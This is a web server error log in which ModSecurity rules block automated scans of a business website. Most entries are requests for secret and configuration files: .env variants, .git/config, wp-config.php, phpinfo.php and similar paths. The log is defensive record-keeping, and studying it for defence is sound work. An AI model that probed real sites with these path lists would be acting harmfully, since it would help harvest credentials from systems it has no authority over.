[Sat Nov 29 13:09:46.757284 2025] [:error] [pid 20915:tid 20936] [client 13.38.128.166:57886] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sitemaps/.env"] [unique_id "aSqAGlOOtKw1QZ3TPESk-AAAANM"]
[Sat Nov 29 13:09:46.757281 2025] [:error] [pid 20827:tid 20876] [client 13.38.128.166:58504] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aSqAGoR9B7FcLfh1rSFTMgAAAFI"]
[Sat Nov 29 13:09:46.757302 2025] [:error] [pid 32136:tid 32140] [client 13.38.128.166:58314] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/saas/.env"] [unique_id "aSqAGsSj_WSVQM1psKpKQAAAAQI"]
[Sat Nov 29 13:09:47.347728 2025] [:error] [pid 32136:tid 32151] [client 13.38.128.166:58604] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/psnlink/.env"] [unique_id "aSqAG8Sj_WSVQM1psKpKQgAAAQ0"]
[Sat Nov 29 15:00:50.263224 2025] [:error] [pid 20828:tid 20891] [client 207.154.216.0:58574] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSqaIuqW2f0jLRABAORfGAAAAIY"]
[Sat Nov 29 15:00:50.864176 2025] [:error] [pid 62619:tid 62627] [client 207.154.216.0:63992] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSqaItk7ZYKT63FfVSUyqgAAAUY"]
[Sat Nov 29 15:00:51.429285 2025] [:error] [pid 62619:tid 62634] [client 207.154.216.0:55364] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSqaI9k7ZYKT63FfVSUy3gAAAU0"]
[Sat Nov 29 15:00:52.448218 2025] [:error] [pid 16610:tid 16616] [client 207.154.216.0:63128] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSqaJATu2dLzNk_QISreyAAAAYQ"]
[Sat Nov 29 15:00:53.649260 2025] [:error] [pid 62619:tid 62635] [client 207.154.216.0:59542] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSqaJdk7ZYKT63FfVSUzKwAAAU4"]
[Sat Nov 29 15:14:23.078098 2025] [:error] [pid 62619:tid 62628] [client 207.154.216.0:56511] [client 207.154.216.0] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/"] [unique_id "aSqdT9k7ZYKT63FfVSU20gAAAUc"]
[Sat Nov 29 16:29:32.200416 2025] [:error] [pid 20827:tid 20880] [client 45.130.203.140:26711] [client 45.130.203.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSqu7IR9B7FcLfh1rSF11wAAAFY"]
[Sat Nov 29 16:29:32.895479 2025] [:error] [pid 20828:tid 20893] [client 45.130.203.164:30375] [client 45.130.203.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSqu7OqW2f0jLRABAORpIQAAAIg"]
[Sat Nov 29 17:37:46.628128 2025] [:error] [pid 20827:tid 20864] [client 54.180.79.167:48888] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aSq-6oR9B7FcLfh1rSGC7gAAAEY"]
[Sat Nov 29 17:37:46.628494 2025] [:error] [pid 20828:tid 20888] [client 54.180.79.167:48890] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aSq-6uqW2f0jLRABAOR4OAAAAIM"]
[Sat Nov 29 17:37:46.628496 2025] [:error] [pid 37490:tid 37494] [client 54.180.79.167:48892] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aSq-6pjG6OUSCUo6XZ0ZAAAAAgI"]
[Sat Nov 29 17:37:46.629587 2025] [:error] [pid 32136:tid 32141] [client 54.180.79.167:48900] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aSq-6sSj_WSVQM1psKqCbgAAAQM"]
[Sat Nov 29 17:37:46.630116 2025] [:error] [pid 20915:tid 20930] [client 54.180.79.167:48894] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aSq-6lOOtKw1QZ3TPETLeAAAAM0"]
[Sat Nov 29 17:37:46.630459 2025] [:error] [pid 32136:tid 32142] [client 54.180.79.167:48898] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aSq-6sSj_WSVQM1psKqCbwAAAQQ"]
[Sat Nov 29 17:37:46.630459 2025] [:error] [pid 20915:tid 20926] [client 54.180.79.167:48946] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aSq-6lOOtKw1QZ3TPETLeQAAAMk"]
[Sat Nov 29 17:37:47.137226 2025] [:error] [pid 32136:tid 32145] [client 54.180.79.167:48944] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aSq-68Sj_WSVQM1psKqCcgAAAQc"]
[Sat Nov 29 17:37:47.169495 2025] [:error] [pid 20828:tid 20894] [client 54.180.79.167:48886] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aSq-6-qW2f0jLRABAOR4OwAAAIk"]
[Sat Nov 29 17:37:47.170082 2025] [:error] [pid 20915:tid 20933] [client 54.180.79.167:48896] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aSq-61OOtKw1QZ3TPETLegAAANA"]
[Sat Nov 29 17:37:47.170870 2025] [:error] [pid 32136:tid 32161] [client 54.180.79.167:48884] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSq-68Sj_WSVQM1psKqCcwAAARc"]
[Sat Nov 29 17:37:48.133886 2025] [:error] [pid 16610:tid 16625] [client 54.180.79.167:49096] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aSq-7ATu2dLzNk_QISr0oAAAAY0"]
[Sat Nov 29 17:37:49.016959 2025] [:error] [pid 16610:tid 16626] [client 54.180.79.167:49216] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aSq-7QTu2dLzNk_QISr0pAAAAY4"]
[Sat Nov 29 17:37:49.017339 2025] [:error] [pid 25341:tid 25366] [client 54.180.79.167:49214] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aSq-7fWK8JdN03Mg7dwSyAAAAdU"]
[Sat Nov 29 17:37:49.214192 2025] [:error] [pid 32136:tid 32158] [client 54.180.79.167:49348] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aSq-7cSj_WSVQM1psKqCfQAAARQ"]
[Sat Nov 29 17:37:49.966357 2025] [:error] [pid 20826:tid 20853] [client 54.180.79.167:49426] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aSq-7fABfBqk70vKX9SgUAAAABc"]
[Sat Nov 29 17:37:50.146303 2025] [:error] [pid 20828:tid 20887] [client 54.180.79.167:49996] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aSq-7uqW2f0jLRABAOR4QwAAAII"]
[Sat Nov 29 17:37:50.339253 2025] [:error] [pid 20915:tid 20918] [client 54.180.79.167:50116] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aSq-7lOOtKw1QZ3TPETLhQAAAME"]
[Sat Nov 29 17:37:50.728264 2025] [:error] [pid 16610:tid 16614] [client 54.180.79.167:50374] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aSq-7gTu2dLzNk_QISr0qgAAAYI"]
[Sat Nov 29 17:37:51.387683 2025] [:error] [pid 20828:tid 20888] [client 54.180.79.167:50924] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.env"] [unique_id "aSq-7-qW2f0jLRABAOR4RwAAAIM"]
[Sat Nov 29 17:37:51.573629 2025] [:error] [pid 25341:tid 25356] [client 54.180.79.167:51602] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aSq-7_WK8JdN03Mg7dwS0AAAAcs"]
[Sat Nov 29 17:37:51.746670 2025] [:error] [pid 16610:tid 16635] [client 54.180.79.167:51774] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets/.env"] [unique_id "aSq-7wTu2dLzNk_QISr0qwAAAZc"]
[Sat Nov 29 17:37:51.992250 2025] [:error] [pid 20915:tid 20931] [client 54.180.79.167:52002] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aSq-71OOtKw1QZ3TPETLiwAAAM4"]
[Sat Nov 29 17:37:54.594889 2025] [:error] [pid 37490:tid 37514] [client 54.180.79.167:53288] [client 54.180.79.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "aSq-8pjG6OUSCUo6XZ0ZEAAAAhY"]
[Sat Nov 29 18:30:05.631796 2025] [:error] [pid 20826:tid 20835] [client 27.59.119.138:57279] [client 27.59.119.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.59.119.138, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSrLLfABfBqk70vKX9SuagAAAAU"]
[Sun Nov 30 00:12:56.474665 2025] [proxy_fcgi:error] [pid 20827:tid 20882] (70007)The timeout specified has expired: [client 45.133.73.14:52916] AH01075: Error dispatching request to : (polling), referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Sun Nov 30 01:20:09.528079 2025] [:error] [pid 29714:tid 29724] [client 35.166.7.143:41986] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSsrSb76_KNwefuiUY9w6AAAAEg"]
[Sun Nov 30 01:20:10.251832 2025] [:error] [pid 58730:tid 58783] [client 35.166.7.143:41996] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSsrSqDQq6rwusUXQKjcUAAAABI"]
[Sun Nov 30 01:20:10.980287 2025] [:error] [pid 42162:tid 42185] [client 35.166.7.143:41998] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aSsrStePpz4Ije-_EjrtyQAAAJI"]
[Sun Nov 30 01:20:11.704985 2025] [:error] [pid 42163:tid 42216] [client 35.166.7.143:42006] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aSsrS5naEs-eGc51wg2PfAAAANU"]
[Sun Nov 30 01:20:12.437501 2025] [:error] [pid 29714:tid 29719] [client 35.166.7.143:42016] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aSsrTL76_KNwefuiUY9w7gAAAEM"]
[Sun Nov 30 01:20:13.162717 2025] [:error] [pid 42252:tid 42269] [client 35.166.7.143:57458] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aSsrTbweMxCk051n8_-0EwAAAU8"]
[Sun Nov 30 01:20:13.897876 2025] [:error] [pid 29714:tid 29725] [client 35.166.7.143:57464] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aSsrTb76_KNwefuiUY9w8gAAAEk"]
[Sun Nov 30 01:20:21.347365 2025] [:error] [pid 29714:tid 29726] [client 35.166.7.143:57544] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aSsrVb76_KNwefuiUY9xAgAAAEo"]
[Sun Nov 30 01:20:23.576432 2025] [:error] [pid 42163:tid 42206] [client 35.166.7.143:40556] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/settings"] [unique_id "aSsrV5naEs-eGc51wg2PgAAAAMs"]
[Sun Nov 30 01:20:24.312750 2025] [:error] [pid 29714:tid 29721] [client 35.166.7.143:40564] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/settings.json"] [unique_id "aSsrWL76_KNwefuiUY9xEAAAAEU"]
[Sun Nov 30 01:20:25.043037 2025] [:error] [pid 29714:tid 29736] [client 35.166.7.143:40572] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.config.js"] [unique_id "aSsrWb76_KNwefuiUY9xFQAAAFQ"]
[Sun Nov 30 01:20:25.780079 2025] [:error] [pid 29714:tid 29723] [client 35.166.7.143:40586] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php"] [unique_id "aSsrWb76_KNwefuiUY9xFwAAAEc"]
[Sun Nov 30 01:20:26.514177 2025] [:error] [pid 29714:tid 29729] [client 35.166.7.143:40590] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aSsrWr76_KNwefuiUY9xGgAAAE0"]
[Sun Nov 30 01:20:27.239595 2025] [:error] [pid 58730:tid 58772] [client 35.166.7.143:40596] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aSsrW6DQq6rwusUXQKjcawAAAAc"]
[Sun Nov 30 01:20:27.967384 2025] [:error] [pid 29714:tid 29731] [client 35.166.7.143:40610] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aSsrW776_KNwefuiUY9xHwAAAE8"]
[Sun Nov 30 01:20:28.699109 2025] [:error] [pid 58730:tid 58771] [client 35.166.7.143:40614] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin"] [unique_id "aSsrXKDQq6rwusUXQKjcbwAAAAY"]
[Sun Nov 30 01:20:29.421821 2025] [:error] [pid 58730:tid 58789] [client 35.166.7.143:40630] [client 35.166.7.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aSsrXaDQq6rwusUXQKjccQAAABc"]
[Sun Nov 30 01:20:30.151137 2025] [:error] [pid 29714:tid 29718] [client 35.166.7.143:40640] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php"] [unique_id "aSsrXr76_KNwefuiUY9xIwAAAEI"]
[Sun Nov 30 01:20:30.881935 2025] [:error] [pid 58730:tid 58780] [client 35.166.7.143:40644] [client 35.166.7.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/composer.json"] [unique_id "aSsrXqDQq6rwusUXQKjcdQAAAA8"]
